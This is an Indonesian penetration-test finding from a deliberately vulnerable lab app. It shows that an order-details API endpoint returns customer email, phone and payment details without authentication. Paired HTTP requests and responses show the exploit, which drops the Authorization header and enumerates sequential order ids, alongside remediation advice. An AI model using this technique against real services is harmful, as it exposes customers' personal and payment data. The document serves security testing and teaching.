Unauthenticated Order Access - Shop - Order Details

Kerentanan

[FAIL] Unauthenticated Order Access - Shop - Order Details

Deskripsi

Endpoint GET /workshop/api/shop/orders/{order_id} mengembalikan detail pesanan lengkap tanpa autentikasi, dengan order_id sekuensial yang mudah dienumerasi.

Dampak

Confidentiality: PII seluruh pelanggan (email, nomor telepon, produk, status, transaksi) bocor ke pihak tanpa kredensial, termasuk akun administrator.

CWE

CWE-306: Missing Authentication for Critical Function

OWASP

API5:2023 - Broken Function Level Authorization (dan API1:2023 - BOLA)

Skenario

Normal: akses order dengan token -> 200. Eksploitasi: hapus header Authorization -> tetap 200 + PII -> CIA (Confidentiality).

Endpoint

GET http://127.0.0.1:8888/workshop/api/shop/orders/{order_id}

Fitur terdampak

Riwayat/Detail Pesanan Toko (crapi-workshop)

Rekomendasi perbaikan

- Wajibkan autentikasi + verifikasi kepemilikan (order.user == pemanggil). - Gunakan identifier non-sekuensial (UUID). - Terapkan otorisasi terpusat.

Bukti konsep

1. (Screenshot 1) NORMAL: GET /workshop/api/shop/orders/5 dengan header Authorization valid -> 200.
2. (Screenshot 2) EKSPLOITASI + CIA: kirim ulang permintaan yang sama TANPA header Authorization -> tetap 200 dan membocorkan PII pemilik order ([REDACTED-EMAIL]).

Rekaman lengkap

LAB Semua target adalah sistem lab. Tidak ada satu pun yang merupakan pekerjaan klien. Bukti ditampilkan apa adanya; secret dihitamkan.

Normal: akses pesanan dengan autentikasi

Alur normal: mengakses detail pesanan dengan token autentikasi yang valid mendapat respons 200.

HTTP request

GET /workshop/api/shop/orders/5 HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer [REDACTED-LAB-TOKEN]

HTTP response

HTTP/1.1 200 OK
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 545

{
  "order": {
    "id": 5,
    "user": {
      "email": "[REDACTED-EMAIL]",
      "number": "9010203040"
    },
    "product": {
      "id": 1,
      "name": "Seat",
      "price": "10.00",
      "image_url": "images/seat.svg"
    },
    "quantity": 2,
    "status": "delivered",
    "transaction_id": "0da10365-9ab7-48c3-9e1c-4e00fb0d2541",
    "created_on": "2026-09-28T14:28:07.344092"
  },
  "payment": {
    "transaction_id": "0da10365-9ab7-48c3-9e1c-4e00fb0d2541",
    "order_id": 5,
    "amount": 20,
    "paid_on": "2026-09-28T14:28:07.344092",
    "card_number": "XXXXXXXXXXXX3656",
    "card_owner_name": "Admin",
    "card_type": "MasterCard",
    "card_expiry": "10/2029",
    "currency": "USD"
  }
}

EXPLOIT+CIA: tanpa token

DAMPAK CIA: TANPA header Authorization pun server mengembalikan order lengkap -> Confidentiality: email & nomor telepon customer (akun [REDACTED-EMAIL]) bocor ke publik.

HTTP request

GET /workshop/api/shop/orders/5 HTTP/1.1
Host: 127.0.0.1:8888
Accept: application/json

# HEADER Authorization SENGAJA DIHAPUS (tanpa autentikasi apa pun)

HTTP response

HTTP/1.1 200 OK
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 545

{
  "order": {
    "id": 5,
    "user": {
      "email": "[REDACTED-EMAIL]",
      "number": "9010203040"
    },
    "product": {
      "id": 1,
      "name": "Seat",
      "price": "10.00",
      "image_url": "images/seat.svg"
    },
    "quantity": 2,
    "status": "delivered",
    "transaction_id": "0da10365-9ab7-48c3-9e1c-4e00fb0d2541",
    "created_on": "2026-09-28T14:28:07.344092"
  },
  "payment": {
    "transaction_id": "0da10365-9ab7-48c3-9e1c-4e00fb0d2541",
    "order_id": 5,
    "amount": 20,
    "paid_on": "2026-09-28T14:28:07.344092",
    "card_number": "XXXXXXXXXXXX3656",
    "card_owner_name": "Admin",
    "card_type": "MasterCard",
    "card_expiry": "10/2029",
    "currency": "USD"
  }
}

← Kasus sebelumnya: Server-Side Request Forgery - Workshop - Contact Mechanic Kasus berikutnya: Unrestricted Access to Sensitive Business Flow - Shop - Coupon Claim →